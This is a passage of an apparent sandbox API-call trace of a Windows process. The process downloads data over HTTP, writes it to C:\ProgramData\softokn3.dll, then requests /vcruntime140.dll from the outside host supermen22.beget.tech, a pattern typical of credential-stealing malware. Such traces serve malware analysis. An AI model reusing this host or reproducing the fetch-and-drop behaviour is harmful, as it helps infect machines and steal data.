lpBuffer=0x2a59e30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a59e30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5a218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5a218*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5a600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5a600*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5a9e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5a9e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5add0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5add0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5b1b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5b1b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5b5a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5b5a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5b988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5b988*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5bd70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5bd70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5c158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5c158*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5c540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5c540*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5c928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5c928*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5cd10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5cd10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5d0f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5d0f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5d4e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5d4e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5d8c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5d8c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5dcb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5dcb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5e098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5e098*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5e480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5e480*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5e868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5e868*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5ec50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5ec50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5f038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5f038*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5f420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5f420*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5f808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5f808*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.795] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5fbf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5fbf0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a5ffd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a5ffd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a603c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a603c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a607a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a607a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a60b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a60b90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a60f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a60f78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a61360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a61360*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.803] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a61748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a61748*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.803] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a61b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a61b30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.803] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a61f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a61f18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.803] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a62300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a62300*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.805] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a626e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a626e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.805] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a62ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a62ad0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.805] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a62eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a62eb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a632a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a632a0*, lpdwNumberOfBytesRead=0x19f634*=0x350) returned 1 [0046.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a635f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a635f0*, lpdwNumberOfBytesRead=0x19f634*=0x0) returned 1 [0046.806] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0 | out: lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0) returned 0 [0046.807] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.807] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0046.807] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0046.807] CreateFileA (lpFileName="C:\\ProgramData\\\\softokn3.dll" (normalized: "c:\\programdata\\softokn3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0046.807] WriteFile (in: hFile=0x270, lpBuffer=0x2a40020*, nNumberOfBytesToWrite=0x235d0, lpNumberOfBytesWritten=0x19f824, lpOverlapped=0x0 | out: lpBuffer=0x2a40020*, lpNumberOfBytesWritten=0x19f824*=0x235d0, lpOverlapped=0x0) returned 1 [0046.810] CloseHandle (hObject=0x270) returned 1 [0046.814] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x57d000 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.814] GetLastError () returned 0x0 [0046.814] SetLastError (dwErrCode=0x0) [0046.814] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0046.814] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f7b8, dwBufferLength=0x4) returned 1 [0046.814] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0046.814] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/vcruntime140.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0046.815] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0046.815] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0046.815] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0046.815] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0046.815] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0046.866] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40020*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40408*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a407f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a407f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40bd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40bd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40fc0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a413a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a413a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a41790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a41790*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a41b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a41b78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a41f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a41f60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42348*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42730*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42b18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42f00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a432e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a432e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a436d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a436d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a43ab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a43ab8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.870] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a43ea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a43ea0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.870] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44288*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.870] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44670*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.870] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44a58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44a58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.870] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44e40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44e40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a45228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a45228*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a45610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a45610*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a459f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a459f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a45de0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a45de0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a461c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a461c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.871] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a465b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a465b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a46998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a46998*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a46d80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a46d80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47168*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47550*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47938*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47d20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47d20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a48108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a48108*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a484f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a484f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a488d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a488d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a48cc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a48cc0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a490a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a490a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a49490, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a49490*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a49878, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a49878*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a49c60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a49c60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4a048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4a048*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4a430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4a430*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4a818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4a818*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4ac00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4ac00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4afe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4afe8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4b3d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4b3d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4b7b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4b7b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4bba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4bba0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4bf88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4bf88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4c370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4c370*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4c758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: 